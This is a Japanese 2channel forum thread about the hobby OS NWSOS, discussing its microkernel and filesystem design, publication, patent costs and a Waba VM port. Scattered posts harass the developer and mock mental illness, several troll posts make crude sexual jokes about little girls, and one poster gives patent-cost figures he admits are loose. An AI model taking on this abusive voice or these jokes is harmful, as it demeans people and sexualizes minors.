NWSOSスレッド part9

PC/AT互換機用OSのNWSOSについて和やかに、時には殺伐と談笑するスレッドです。
作者氏曰く、改造・組み立て型のOSを目指しているそうです。
今はクローズドですがOSのソースはその内公開するような気がするとかなんとか。

NOWSMARTSOFT
http://nowsmartsoft.or.tv/

NWSOS
http://nowsmartsoft.or.tv/nws/Japanese/nwsos.htm

公式ファイル置き場
http://nowsmartsoft.or.tv/download/index.html

Open Source Software for NWSOS
http://sourceforge.jp/projects/oss-nwsos/

NWSOS Wiki
http://oss-nwsos.sourceforge.jp/wiki/

ないみたいだから立てておくよんへ(へ´∀`)へ ｶｻｶｻ

2get

>時には殺伐と

加わってるなw

削除依頼出しておきますた

■過去スレ
NWSOSスレの進行の仕方は混沌としているので、重複が幾つかあります。
大まかな流れはNWSOS Wikiの以下のページにある通りです。
http://oss-nwsos.sourceforge.jp/wiki/pukiwiki.php?%A5%B9%A5%EC%A5%C3%A5%C9

dat落ちしたOS板のスレに関しては、おれんじぺこの鳥取砂丘さんのサイトにある
OS板の過去ログへリンクさせてもらっています。
http://sakyu.s39.xrea.com/

前スレ
http://pc5.2ch.net/test/read.cgi/os/1083380404/

1: http://nostalgia.rr6.org/test/read.cgi/oslog/1020031509/
2: http://nostalgia.rr6.org/test/read.cgi/oslog/1026581522/ (465まで)
3: http://nostalgia.rr6.org/test/read.cgi/oslog/1031377826/
4: http://nostalgia.rr6.org/test/read.cgi/oslog/1039075591/
5: http://nostalgia.rr6.org/test/read.cgi/oslog/1026581522/ (466から)
6: http://nostalgia.rr6.org/test/read.cgi/oslog/1057237050/
7: http://nostalgia.rr6.org/test/read.cgi/oslog/1039237412/ (562から)
8: http://nostalgia.rr6.org/test/read.cgi/oslog/996051906/ (255から)
9: http://pc3.2ch.net/test/read.cgi/os/1062909154/ (119から324)
10: http://pc3.2ch.net/test/read.cgi/os/1075632569/

■その他の主要な和製OSのスレ

どうしてOSASKｽﾚPart7だすＹＯ！
http://pc3.2ch.net/test/read.cgi/os/1074938017/

【AMD64】64bit OS おれんじぺこ part3【x86-64】
http://pc5.2ch.net/test/read.cgi/os/1085028667/

OSを作ろうpart9
http://pc3.2ch.net/test/read.cgi/os/1081561384/

オプソ計画北─ｗｗﾍ√ﾚｖｖ〜(ﾟ∀ﾟ)─ｗｗﾍ√ﾚｖｖ〜─ !!
ttp://oss-nwsos.sourceforge.jp/wiki/pukiwiki.php?%A5%E9%A5%A4%A5%BB%A5%F3%A5%B9

>>1
乙です。

BTRONの実力

これで試しに抜いてみろ

http://www.hh.e-mansion.com/~flourish/oekaki/

>>8
私は前スレのどっかの人です。
覆面さんでしたか。時々名前を見ていました。

販売形式にしてもなかなか難しいものがあるやもしれんな。
オープンソースのOSは相当数あるわけだし、NWSOSの中でも自身のあるコード(面白い、独創性のあるほかのコードにも興味を引くようなもの)
をサンプルとして公開してみるというのも面白いかもしれないなぁ。

/*>>10は>>1とは別人ですよん*/

>>11
独創性は毒素性の間違いだろう

ライセンス以前に、開発者のコミュニケーション能力に問題あり杉

思うに、オープンソースというか、共同開発のような形態をとるのは
やめたほうがいいな。Lがやったんじゃ無駄にトラブルを増やすだけ。

Lより良いコードを書く奴が来て改善を提言→L逆切れ、のパターンに
陥ることが容易に想像できる。

トラブルを避けて誰も来ないことのほうが余程容易に想像出来る

>>11-15
ﾌﾟﾌﾟﾌﾟ。

オープンソースにするかどうかはともかく、オプソ化を検討してますって
宣伝するのはとても有効ですな、戦略として。

なんで？
いまどきオープンソースなんてめずらしくもなんともないよ？

>>17
それでは説明になってないなぁ。

>>14
>Lより良いコードを書く奴が来て改善を提言→L逆切れ、のパターンに
>陥ることが容易に想像できる。
良いコードであれば、喜んで書いて貰います。

良いコードであると、自分で思いこんでいるコードでは駄目ですが。

同様に、技術力があると自分で思っているのではなく、本当に技術力がある
人は大歓迎です。いつも、その方針を貫いているつもりです。

>>13
人間としての基本がなってない人、礼儀を全くわきまえない人、
心の汚い人に対する処世術が身に付いてないのは、私が関わってきた
環境にそういう人たちがほとんど居なかったからかも知れませんが、
どの道、そういう人たちに媚びを売って世の中を渡っていっても
しょうがないので何とでも言って下さい。

私は、人間のルールではなく、神聖なるルールに従うつもりでいますから。

統合失調の発作ｷﾀ━━━━━━━━━━━━━━━━━━━━━━━━(ﾟ∀ﾟ)━━━━━━━━━━━━━━━━━━━━━━━━!!

>>21
では、あなた自身、開発から身を引かなければならなくなりますが。

>神聖なるルール

ちょっと偏りすぎでないかい？

LC=神
LCのルール=神聖なるルール

>>20
前スレでせっかく貴重なアドバイスをしてくれた人達に対して
罵声を浴びせて追い返したのはどこの誰だっけ？

>>26
>前スレでせっかく貴重なアドバイスをしてくれた人達

ﾌﾞﾌﾟ

>>26
>>貴重
ぐぐりゃいくらでも出てくる情報だろ。ご苦労さん。

>>28
formal methodやreuseなんていう基礎中の基礎の単語も知らなかった香具師が
どうやってLackwitを探し出せるのだろうか・・・プ

俳優の窪塚さんが飛び降り　意識はあるもよう
　【15:56】　６日午後零時１０分ごろ、神奈川県横須賀市のマンション９階から、俳優の窪塚洋介さん（２５）が飛び降りた。
　窪塚さんは芝生の上に落ち、意識はあるという。浦賀署が詳しい状況を調べている。


電波は程度にもよるが、ろくな死に方しないな。Lも…

￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣｣
―――――――――――――‐┬┘
　　　　　　　　　　　 　 　 　 　 　 　 |
　　 　 　 ＿＿＿＿.＿＿＿＿ 　　 |
　　　　　|　 　 　 　 | 　 　 　 　|　　 |
　　　　　|　 　 　 　 |　 　 　 　 |　　 |
　　　　　|　 　 　 　 |　 　 　 　 |　　 |
　　　　　|　 　 　 　 |　 　 　 　 |　　 |
　 　 　 　￣￣￣￣'￣￣￣￣　 　 | ミ
　 　 　 　 　 　 　 　　　　　　　　　　|
　　　　　　　　　　　　　　　　　　　ミ　　　∧＿∧
　　　　　　　　　　　　　　　　　　　　　　 （ *´Д｀）
　　　　　　　　　　　　　　　　　　　　　　 ⊂　窪 つ
　　　　　　　　　　　　　　　　　　　　　　　/　/　/
　　　　　　　　　　　　　　　　　　　　　　　し' し

>>29
探し当てにくい情報だと言うことと、その情報が目的にとって貴重かどうか
ということまた別の話。

小学生に積分教えても仕方無いしな。

「formal methodやreuseなんていう基礎中の基礎の単語も知らなかった」
:自分が如何に視野狭窄であるかを語ってるのか?

「おれは無名で匿名でしか書けないけどな」

「こっちの世界ことについてはちったぁ分かってるつもりだ」

「だから俺の言う事は黙って聞いておけ」

・・・群馬とか栃木のチンピラがよく言うよな。そういうの。

大物でもないくせに専門家ぶるなよ。他人が書いたリンクを示しただけで偉そうにすんな宇治。

>>35
群馬とか栃木のチンピラがどんなもんか知らんが、知ったかぶりの厨房の特徴だな。

チンピラの方がまし。

「言うこと聞かないとタダじゃおかねぇぞ」

ちゃんと言うことを聞かせるからな。大物がいないと小物がギャーギャーわめいてうるせぇんだよ。

コテハン叩きながらマスでも掻いてんだろ。宇治は。

「あ〜。俺のカキカキコでヤツをまたビョーキにしてやった。ひー（放出）」

てか。

スレ荒してすまんかったな。

NWSOSの話を続けて呉。＞＞宇治遺骸

　.＿_
ヽ|'∀'|_∠ 華麗にLマン参上。
　|＿＿＿|
　　L　L

荒しは終りだっつってんだろ。

Lたんも大変だな。

おまえもまたマス掻きにきたんだろ。大変だな。

幼女とﾊﾟﾝﾊﾟﾝしにきましたが伺か？

ツマンネ

　　幼　姦　マ　ン　登　場 　


　|　ああ〜　やっぱ殺人少女は　　　　　　／
　|　　いつもの幼女と興奮が違う！！　／
.　　　＿＿__　 　,---- ､
　　　| |・∀・|　/::(/､＾^, :ﾞi
　　　| |＼ 　|` |::l,,・　・,,{:|　ｶｸ
.　 (( |_|＿ｨ⌒`ｌ:ﾄ､ Д_ノ:｣/
　　　 ノ と､_入`_,つ λ う
　ｶｸ

人の書いたAA貼ってナニが楽しいのかねぇ

しかしまぁ，講義の合間にカキコとはご苦労なこったな。学生には手を出すなよ。

ところでLのいう「良いコード」って何？

>>48
ある人物の書いたコードが他の人にとっても良いコードとは限らない。
よってそれを聞いたところで、叩き合いになるだけじゃないかな。

何気なくWin98DDKのファイルをエディタで開いて見てたら気付いた。
link.exe /edit でeditbinが動く。
MSのリンカは普通にOMFをCOFFに変換出来るから変だなとは思ってたけど。
ftp://ftp.microsoft.com/developr/win32dk/sdk-public/
にある太古のlink32でも同じオプションが使えた。
ただしこいつで作ったバイナリがnwsosで動くかは確認してない。

>>50よ聞いて下さいよ

Xを落とした
↓
うまく落ちなかった
↓
とりあえずsync
↓
oops
↓
reboot
↓
oops
↓
halt
↓
oops
↓強制終了
/が破損
↓
大量のファイルが/lost+foundにも逝かずに消滅

その中に/usr/local/bin/goset006/exe2sysが含まれているのですが、何かご存知ですか。ご存知ですね。ご存知と言うことにしておきます＞クラッカーさんw

kernel: Unable to handle kernel NULL pointer dereference at virtual address 00000000

roでf*ckしたのだから当然だが、消滅ファイル一覧が見付からない。↑こんなもんみてもしょうもない。

ぬうrぽ

ｶﾞｯ、っと。
ﾊｰﾄﾞﾃﾞｨｽｸが抜けかかってるとか。物理的に。

MONAmona素敵だ……

数日前/dev/hda1にmkswapかけたﾅｧ
rootって怖い。

>>54
それくらいなら、fsckで復活しないか？
そこにfsck入ってたら難しいが。

>>53

MONAでも動かそうかと思って、/optの生理のついでにQEMU 0.5.4いれたんだが、なんかお気に召さないことでもあった？


それとも、OSASKとは比べ物にならないぐらい重いなと思っているのが、何かわかったの?
そういう主旨のカキコはしていない筈。
/* bzip2は幾ら何でも展開速度が我慢できない。 */


あとexe2sysに何か怨みあるの?

まさかマジで信じてるんじゃないだろうな（汗
何もしてねーって。
第一俺だったらもっと微妙な笑いを狙う。
gccのプリプロセッサをこっそり置き換えて#pragmaを見つけた時に
まずhackを起動しようとして失敗したらrogue、それにも失敗したら
emacsを起動してハノイを解かせようとする奴にするとか。

わかってるってw

それより、emacs -nw,NgでAltがMETA代りにならなくなった。
バッファにはxxxと入力された。

こ れ が 微 妙 な 笑 い の お つ も り で す か w

なにこれLの関連?
http://hiroshima.cool.ne.jp/h_sinobu/suisennPC.html

emacsを窓から　投　げ　捨　て　ろ
>>59のリンク先Another FreeDOS(98)のリンク先がlinux98になってる。
今98版FreeDOSやってる人っていないのかな。
まあ需要があれば自分でどうにかしようって人が現れるんだろうけど。

omfのフォーマットはwotsitにある奴見りゃ十分なのかなっと。
気が向いたらリンカ作るか。
エミュ使えばdmdもeditbinもnwslも犬やBSE上で動くとは思うんだけど。

リーマン予想が証明されたらしい
ttp://www.math.purdue.edu/ftp_pub/branges/apology.pdf
これが正しければ在野の数学者が一旗揚げる道がまたひとつ閉ざされたことに

これってクレイの100万ドルの懸賞金がかかってたやつだっけ？
すごいねえー。ていうかポアンカレ予想はその後どうなったんだろう。
ちゃんと懸賞金ゲットできたのかな？

apology for the proof of the riemann hypothesisって、
証明しちゃってゴメンなさい（・∀・）ﾃﾍｯ という意味？

>>60

そういうあんたはエディタとか2ちゃんブラウザには何使ってんの

極最近まで、vi信者だったんだけどな。ChaliceはAA見られないし、マウスカチカチ式のブラウザ使っていたら操作めんどいし堕落すると思ってEmacsに逃げ込んだ。

ところで98と言えば、NetBSD/pc98って、もう誰もメンテしていないんだろうかね。スレ違いだけど。
カーネルだけ1.4ぐらいの、1.6.1があったような気はしたけど。


/*** 自衛隊の多国籍軍参加断固反対 ***
**** 自衛隊は即座にイクラから撤兵汁 ***
**** ブッシュ== 殺人鬼 ***
**** ゲイ氏 == 殺人鬼崇拝者 ***/

革命起こしたいypでも無能だyp

|\| |_| |_ |_ po

Arial使い発見

>>65

?

a

なんだかもう、話がぜんっぜん見えんのですけれども。

>>64
BSEだとjed使ってる。Winではサクラ。
"テキストエディタ"で検索したら引っかかったんで。
2chはかちゅ以外では見ない。
世界を変えたきゃアメリカ行って大統領選で当選すりゃいい。
百万人くらい自分のクローン作れば誰か通るんじゃねーの。

Dのphobosは楽にnwsosで動かせる部分も多いかも。
おいらは多分いずれDメインでやる事になると思う。
Monoでも移植する人がいりゃ別だけど。

三日ほど消えまっす。

> 世界を変えたきゃアメリカ行って大統領選で当選すりゃいい。
アメリカ生まれじゃないと知事にはなれても大統領にはなれない。

>>69
サクラは最近タブ対応&アセンブリの囲い込み関係のバグが直ったからｳﾏｰ

>>69
>百万人くらい自分のクローン
やぁ、エヴァを思い出したじゃないですか

>>six nine

（´_ゝ｀）ふーん

一襲姦ほど消えまっす。

二度と出てこないでくれ

http://www.nwsos.com/

>>70
アメリカ生まれのクローンなんだよ。

>>69
14年前にオームがそれやって全員落ちたよ

>>77
でも創価の政党はうわっなにすんｄくぁｗせｄｒｆｔｇｙふじこｌｐ；＠：

Winnyの作者は、3D技術を自分で身につけたのではなく、大学で
「オブジェクト工学」を習って習得したらしい。
このｽﾚで誰かが、3D技術は、「既に大学の研究テーマではない」と言っていたが、
嘘で、多くの大学では「やれる教授がいない」だけであって、ちゃんと
あるところにはある。

>>79
オブジェクト工学とやらは3D技術自体じゃなかろうし
研究テーマにしたわけでもなかろう

>>78
おーい、どーした！あqwせdrfgthyじゅいこlp；「’」￥

>>79

>>80
>オブジェクト工学とやらは3D技術自体じゃなかろうし
真実か?

>>96
IDが3D

ここpc5だろ？
IDなんてあるまい

>>83
むしろ同じだというソースをだしてみろと言いたい。

LC はどうやらまたひきこもったようだな。

>>79
未踏での仕事は物理空間のシミュレーションという要素を含んでいて、
そこの部分が君のいう「オブジェクト工学」の部分。
「3D技術」というのはあいまいな言葉だが、いずれにせよLの言っている
ようなグラフィクスの話を大学でしていたのではない。

それに、彼が大学で学んでいたのは10年ほど前の話であって、未踏の
仕事は大学で行われたわけではない。

アカデミーでここ数年内に業績を出しているところがあるというのなら、
どこがだしているのか、その研究内容は何かぐらいは当然言えるんだろうね？

>「3D技術」というのはあいまいな言葉だが、いずれにせよLの言っている
>ようなグラフィクスの話を大学でしていたのではない。

あんた馬鹿だね。読解力なさ過ぎ。

やれやれ。また「読解力ない」か。
どうしてこう、自分の能力不足を他人におしつけたがるやつが多いんだか。

>>89
おまえの方が馬鹿に見える俺はもっと馬鹿なのか･･･。

すまん。俺も読解力がないようだ。

解毒力きぼう。

LightConeさんてリーマン予想のような
数学の問題解けますか？

奴のサイトのDocumentsコーナーに言ってみな。
数学の能力がどの程度のものかよくわかるから。

×言ってみな
○行ってみな

どうも最近打ちまちがいが多い。集中力がおちてるようだ。

こういうのってATOKならちゃんと文脈読んで変換してくれるもんなのかな？ずっとMS-IME使いだからATOKや他のIMEのことは全然ﾜｶﾗｿ

俺のATOKは逝ってみなで覚えちゃってるね。

>>94
言うまでもないことですが、大数学者が何人も試みて未解決である様な問題が
私に解けるはずはないです。悪しからず。

>>95
すんません、大したこと無いです。

Tino氏monaから引退ねぇ。

ああ。俺のアナルに衝撃が走った。

>>100
まだ最終決定というわけでもない様な。

>>101 >>102
お騒がせしております。

詳細は以下に記述しておりますが、
もともと私はある程度距離を置くつもりで、
現状のように入り込んだのも期間限定ということで
ひげぽんさんと打ち合わせておりました。
ttp://pc5.2ch.net/test/read.cgi/os/1081561384/599-602

>>103
お前２チャンネル見るの好きだなぁー

>>104
読むスレは限られていますけどね。

人類の歴史というのは，累々と積み上がった屍そのもの。

>>103
お疲れ様です。と言うのはまだ早いか。
TinoGUIでウィンドウを消す時のエフェクトがやたら格好良かったんで、
その内nwsosにも載せてみたいなーとか思ってました。
多分体が4つくらいあれば2つそっちに回すと思うんですが、
自分が妖怪じゃないのが残念です。
楽しんでやってって下さい。

Lﾀｿはζのお勉強にでも出かけてしまったんだろうか。寂しい。

マイクロカーネルの最終調整してんじゃないの？

ひ(ry

>>110
ひき(ry？

ひきにげ？

押してだめなら轢いてみろってか

Lﾀｿの上を台風６号が通りすぎていきましたね。

Lﾀﾝも実は台風6号に乗って日本海に抜けたんだけどね。

>>114-115
すぐに帰ってくるでしょ？

飛ばされてませんよ。

ほら！帰ってきた。

>>118
よかったね。

今までずっと白黒でテストしてきたんで（大馬鹿者）
全然気がつかなかったんだけど、もしかしてpImageは今
RGBでなくBGRの並びになってるのか。
gfPutImage()で書き込む奴。
気をつけんと。

>>120
うん。MIURAさんのivとか最新環境で動かすと色ばけるよ。

>>120
Wikiでその辺を変えるって議論してたし
あんたも議論に参加してたんじゃなかったっけ？

>>121
確認ども。

>>122
多分違う話っす。
色の並びについては旧本家BBSで誰かと閣下の会話に出てきたもので、
Wikiで話してたのは別の話についてです。
旧本家BBSは俺も見てましたが具体的にどこで使うイメージ形式が変更なのかは
分かってませんでした。
Waba作る為にRGB888へ絵を描くライブラリは大分前に作ってあったんですけど、
アホだから白黒とかRGBが同レベルの色しかテストに使ってなくて。

ユーザーモードからBIOSコールできるようになったり、好きな物理メモリを
仮想アドレスに割り付けられたり、ファイルディスクリプタをDupできる
ようになったり、同期型メッセージパッシングなどが出来る様になりました
がまだマイクロカーネル化は完璧ではありません。

仮想ファイルシステムも中途半端ではありますが、実装してあります。
ドライバなどの仕様はほぼ出来ていてHTML形式のマニュアルのような
ものがあります。

公開した方がいいでしょうか?

NWSOSの同期型メッセージパッシングは、コピーの回数が最小に抑えられる
ような面白い工夫がされています。実際に実装されたのは世界初かも知れま
せんが、、、。と書くとまたバッシングの嵐が予想されますが(苦笑)

あと、サブシステムやドライバをインストールするために、
subins, mountコマンドを用意してあります。

設計的には、

仮想ファイルシステム、
実ファイルシステム、
ディスクキャッシュ（ファイルバッファ）、
パーティションマネージャー、
物理デバイス・ドライバ

が全て独立したタスクとして並列動作できるようになり、
組み合わせ自在にマウントできるようになります。

また、FAT, NTFS, EXT2, RAMDISK, テンポラリファイルシステムなど
も簡単に組み込める様になるはずです。

Linuxと比較し、ドライバの書き方がずっとシンプルになります。

Linuxでは、i-nodeなどの実ファイルシステムに依存する様な概念が
全てのファイルシステムの記述に生に働きますが、NWSOSでは、完全に
抽象化され、FATでも、EXT2でもどちらも完全な仮想ファイルシステム
内に簡単に組み込めます。

また、Linuxでは、ドライバにカーネル内の情報を沢山渡す様になっ
ていて、バージョン依存とバグの原因になりかねませんが、NWSOSでは、
必要な情報だけを渡す様になっているので記述も簡単で、安定性も上が
るはずです。

また、ファイル名解析は仮想ファイルシステム側のみで全てやってしまう
ので実ファイルシステムの開発時にファイル名の解析に煩わされることが
ありません。

あと、NWSOSでも、ファイルシステムを構成するサブシステム間でマウントが
自由に出来るのですが、その際にLinuxでもUnixから受け継がれている
ような、メジャー番号、マイナー番号の概念を完全に払拭し、もっと
直感的でシンプルに指定できる様になっています。

うぉ。そんなに進んでいるとは。

>>124
公開というのはOSとマニュアルのどちらでしょうか？
どちらにせよ面白そうです。

>>128
ひとまずこの状態でバイナリイメージを公開してしまった方がいいかどうか
です。

仕様のHTMLファイルを公開すると他の和製OSに真似されたら困るという事
も考えているのですが。特許をとるのも大変ですし。

|ーﾟ) ＜じ・・・

貴様は猫でも分かるプログラミングを読んでおれ。

仕様を公開しないインターフェイースねえ・・・笑

>>129
躊躇するくらい半端な状態ならやめた方が良いでしょうけど、
そういう訳でないならある程度頻繁に物を出す方が良いと思います。

>>130
特許を取るんですか？

>>133
ﾌｪｲｰｽ

まあ互換性を考えなきゃ何でもできるわな。

それにしても、そんな既出なアイデアで特許とかいわれてもな...
まさかLinuxが技術の最先端だとか思ってないだろうね？

>>135
おまえの思う最先端を示せ。批判だけならカントでもできるｗ

特許の保有コストすらしらん研究厨のくせに，偉そうにすんなヴォケ。

>>135
心が読めるのかよ！

>>136
特許料って増えるからね……。

特許権利化の基本戦略〜♪
特許を保有することで・・・
１．積極的に特許権を主張して，特許料収入を期待する
２．特許侵害で責められた時に，相殺/反撃することを期待する
２a．似た特許保有者同士で談合することを期待する

おそらくライトコーンさんの言うてはる特許は「１．」ですねぇ〜。
でも特許は維持費がかかりますぅ。ざっくり50万円/年ですぅ。（ショバ代として1件あたり）
調査〜申請は個人的にやっても良いですが，コツがあるので未経験だと辛いようですぅ。

本当に権利化したいのなら，やはりどこか企業に持ち込んで，権利化してもらうべきだと思いますぅ。

>>135
＞それにしても、そんな既出なアイデアで特許とかいわれてもな...
外出のものの組み合わせでも特許は取れますよん＞例：鉛筆と消しゴム＝消しゴム付き鉛筆，とか多数
権利化できるかどうかを決めるのは申請の内容と，お役所のおじさん/おばさんですから。
すくなくとも>>135 さんでは無いですよん〜♪

実は「特許をとるのも大変」というのが
「大変だからとらない」いう意味の可能性もある罠。

>>139
なるほろ〜
ざぶとん一枚さしあげますぅ〜♪

>>138
> 権利化できるかどうかを決めるのは申請の内容と，お役所のおじさん/おばさんですから。
> すくなくとも>>135 さんでは無いですよん〜♪

異議申し立ては誰でもできるし、そもそも批判は自由だ。
ついでにいえば特許を成立させるのは>>138では無いですよん〜♪

ちょこざいな。砂丘の分際で。

おまえら、Lのアイデアが新しかったことがただの一度でもあるか？
新しいと主張したことは何度もあるが。

公開して著作権による保護を求めるっていう手法もあるが、
まあ難しいわな。個人なら実用新案ぐらいが適当だけど、
いずれにしろソフトウェア特許なんて僅かな変更で回避できるのがほとんどだし。

それよかそんなに優れているんなら、公開して他の和製OSに"ライセンス"すれば
ドライバ開発者が激しく増えてｳﾏｰなんじゃないの？
少なくとも他の誰かに同じモノを考えつかれて公開されて
Lﾀﾝがマネしたと言われる事態は避けられる。

Linuxのソースを見た → 一般公有使用許諾書 （´_ゝ｀）

>>138
ものすごい勢いで違うと思うが。
つうか138は外資系の特許訴訟の専門家か何かか？
そういうところに持ち込まれる案件はそんなものばっかりなのかも知れんが、
普通は
　1a.特許権を主張して製品の優位性を保つ
ついでに
　3.他人に特許権をとられることを防ぐ
ってところだろ。

ってかまぁそもそも「特許をとれたらいいんだけど」ってニュアンスだって希ガスけど。

外資系の（潰れかけで特許ゴロと化した企業の）、だな。

>>138
外資系の（潰れかけで特許ゴロと化した企業の）、痴脳の同僚ですか

>>144 も何言ってんのかさっぱりわからんな。
前半はまったくのまちがいだし、後半も妄想といっていい内容。

>>145 も嘘だな...

>>150でも、Lがsedを割っていたのも事実である。

訂正:GNU sedを盗んでいたのも事実である。よってLがLinuxを盗んでいる化膿性は否定できない。

sedはもともとGPLだから、元々「どんどん割って頂戴」と公言しているわけで
>>151-152 はアホか、馬鹿かと。

(´Д｀).｡ｏＯ(遂にLまで自演?)

>>153
ライセンス違反のことだと思われ

コードの再利用≠割れ

アホは153で決定。

>>138
＞でも特許は維持費がかかりますぅ。ざっくり50万円/年ですぅ。（ショバ代として1件あたり）

ここにつっこむ奴は誰もいないのか？
どれだけ請求項並べたら50万になるんだよ。
参考： http://www.jpo.go.jp/tetuzuki/index.htm

URLまちがえた。
http://www.jpo.go.jp/tetuzuki/ryoukin/hyou.htm

>>157-158 金の問題より申請の手間の方が何倍も大きい。

結局138は大嘘つき野郎ということでいいんじゃないのか？

L氏特許申請祭りは見たいな‥‥

まあ申請するだけなら誰でもできるよな。
金払えば。

>>141
＞ついでにいえば特許を成立させるのは>>138では無いですよん〜♪

おっしゃるとおりですよん〜♪

>>146
＞つうか138は外資系の特許訴訟の専門家か何かか？
＞そういうところに持ち込まれる案件はそんなものばっかりなのかも知れんが、

機械関係ですけど，しょっちゅう相殺，審判請求ありまっせー。
あんさんはどないな業界でっか〜

>>157
＞どれだけ請求項並べたら50万になるんだよ。

まぁまぁ，そうムキにならんとってくだされ。ショバ代ってのは筆すべりですさかい。
しょぼい弁理士つこても30万くらいはもってかれますやろ。

出願すれば，はいおしまいと思てはる方々に念のため申し上げますがぁ，
権利化するには出願後，出願審査請求せなあきまへんねんでぇ。
それの値段も調べてからかみついておくんなましぃ。

>>160
＞結局138は大嘘つき野郎ということでいいんじゃないのか？

おっしゃるとおり，わたいは山師でうそつきですよん〜♪
せやけどやね，分かってて嘘ついてまんねん。
わたいの嘘は「実際上の話」で「紙の上でおどる建前の話」とちゃいますからなぁ。
ま，嘘は嘘やし。スレ違いはスレ違いやし。ほなさいなら〜。ヽ(´ー｀)ノ

>>163
カッコイイ

Lって自演しててもすぐ地が出るからなあ…ヽ(´ー｀)ノ

>>165 馬鹿発見

ぐわぁー。やっぱりbaysideさん版来ちゃってるよー。

主要和製OS(Osask, Mona, OrangePekoe, NWSOS)制覇！age
前人未到の怪挙だ...

>>163
居直りかっこわりい

>>138
ほほぉ。出願審査請求ってのは毎年やるもんだったのか。
そいつは知らんかったよｗ

＞それの値段も調べてからかみついておくんなましぃ。
その料金も全部書いてあるページのURLを示したんだがね。

まああれだな。まちがっても138のところになんて持ちこんだら
いかんということだ。ありもしない料金をぼられるのがオチ。
きっと50万/年とは別に手数料要求しやがるんだぜ。

>>170
＞ほほぉ。出願審査請求ってのは毎年やるもんだったのか。
＞そいつは知らんかったよｗ

細かいことにうるさい御仁やねぇ。細かい所が正しいか正しくないかなんちゅうもんはどうでもええんや。
聞いたもんが納得したそれでええんや。せやから山師や言うとるんやし。

＞まああれだな。まちがっても138のところになんて持ちこんだら
＞いかんということだ。ありもしない料金をぼられるのがオチ。

わたいは弁理士ともちゃうし，企業の特許部門の人間でもおまへんでぇ。
毎月「特許提出ノルマ」に苦しめられとるただの技術屋やし。

維持にかかるゼニで一番大きいのは，手間賃やでぇ。
自分とこの従業員にやらせてもやね，よそへ丸投げしようがおんなじこっちゃがなぁ。

人間1人を養うゼニ=4000円/日（サービス残業入れたらアカンでぇ）
特許1件あたりにかかる時間=50時間/年(年にたった6日)
こないな手抜き計算でも20万/年かかるんやでぇ。
似たようなのをぎょうさん持ってたら数をまとめて時間は減らせるかもしれんけどねぇ。
ぎょうさんもってたらカス特許もぎょうさんあるんやし，
そんなもんに1円でもつこてるのはもったいないことやねぇ。

なんでそんなに人手がかかるか，あんさんやったらようわかってるやろうに。
よそのことを定期的にチェックあかんからやて。

わたいの勘定では，まともによそのことチェックするのに丸1日/1ヶ月/1人/1件はつこてる。
ようするに40万/年/件やな。これに雑費で50万/年/件や。それでも文句ありまっかぁ〜。

実費だけ並びたてんといてやぁ。21世紀はTCOの時代やし。
次はあんさんの番やで。あんさんの勘定ではなんぼですぅ？楽しみやなぁ〜♪

さっさとまちがいを認めりゃすむものを・・・

Lﾀﾝいつのまに機械系に就職したでつか？

俺版のwabaはイベントは来るけど色とクリッピングがまだちょっとおかしい……。

>>172
まあ、ちょっとブランクがあったが、いつも通りのLたんで安心したよ。

>>174
VM部分が正しく動いているのでしたら、そのソースとbaysideさん版とを
比較するのは有用だと思えるのですが。

いや、落ちるんで決して正しく動いている訳では……。

取り敢えずビルド出来るよう準備してみます

なんかもうどうでもよくなってきた。

>>171
＞聞いたもんが納得したそれでええんや。
聞いてて全然納得できないわけなのだが。

単純にもってるだけで必要になるコストと、それをビジネス的に有効に
動かしていくのに必要なコストとをいっしょくたに勘定するのはやめようね。
おまえさんが>>138で言ったのはあきらかに前者だろ。後者だということに
しようと必死なのはわかるけど。

以下、おまえさんの大好きな揚げ足取りなのだが、

＞人間1人を養うゼニ=4000円/日（サービス残業入れたらアカンでぇ）

技術職なんかをまともに雇った場合、税・保険などコミコミで人月50万が
最低相場だと思ってたが。
8時間労働として時間500円。月25日労働として10万円か...
えらくまた安い給料でこきつかわれてんだな。それで特許もだせってか。
同情するよ。いっぺん労働基準監督暑に相談してみたら？

>>179
> 技術職なんかをまともに雇った場合、税・保険などコミコミで人月50万が
> 最低相場だと思ってたが。

だよな。もうちょい現実的に数字を出せば、普通は総務や経理や人事なんかの
コストもかかるから、人月80万はないと赤字ってのが相場だよな。

中国でそこそこ書けるぐらいのプログラマをやとったらそんなもんかな＞人月10万

リナックスのソース

>>179
平日の昼間っから2ちゃんねるに入り浸ってるような輩は一日4000円でも出しすぎです。

駄ー目だ間に合わないちょっと出かけます。
戻るのは9:30以降に。
すんませーん。

>>184

もまえもお出かけってするんだ。

3時間たのしんで恋

考察。Lは∇の使われた顔文字が好きである。これは三角錐,つまりlightconeを意味している。おk?

>>179
>>180

すまんすまん。ふですべりや〜。
×人間1人を養うゼニ=4000円/日（サービス残業入れたらアカンでぇ）
○人間1人を養うゼニ=4000円/時（サービス残業入れたらアカンでぇ）

次の行の
＞特許1件あたりにかかる時間=50時間/年(年にたった6日)

みたら書き間違いってわかるやんか〜。心せまいなぁ，あんたら。
ゼイキン，保険に，年金掛け金，その他モロモロコミコミで100万/月やで。たしかに安めやけどどなぁ〜♪

板違い >>138 >>157 消えろ

waba for NWSOSのビルドに成功しました。

パラメータなしで起動すると、waba内蔵フォント(?)でウィンドウ内に
「
Waba Virtual Machine(太字)
version 1.0 for NWSOS
WavaVM installed and ready
htttp:://www.wabasoft.com(反転表示)
」
と表示されました。

今回使用したコンパイラは、NWSCではなく、Visual C++ですが。

おめでとございまーす。
結局コンパイラ変えたら大丈夫だったんですか？
俺の奴どうすんべぇ……。
一応キリ良い所まではやるか。

>>190
できれば、NWSCのバグならバグで突き止めて頂ければ助かります。

>>191
ちょっと難しそうですが、ぼちぼちやってみまーす。
ところでswitchの条件式にlongって入れられましたっけ？

ちょっとスレ違いですけど、その内暇潰しにgccとかOpenWatcomで使ってる
テスト用のコードを試してみては。（多分あると思う）
まあ独自拡張とか処理系依存の部分に頼るコードだったりすると
全然役に立たないんでしょうけど。

>>193
＞テスト用のコードを試してみては。（多分あると思う）
NWSOSの挙動について報告するたびにそういう妄想にとらわれるます^^
で，書かなければいけないテストを以下のように妄想していました。
(1)プリプロセスの検証（プリプロセスの結果，つまりＣソースが対象）
(2)コンパイラの検証(エラー，ウォーニングが出るかで無いか，主に文法チェックのチェック)
(3)コンパイラの吐くコードの検証

CUnitなどのユニットテストなどは，(3)でしか役に立ちません。
(1),(2)は，クロス環境ではちょっとした仕組みを用意しないと面倒です。
（コンパイラやプリプロセッサを別プロセスで起動して結果を収集/チェックする）
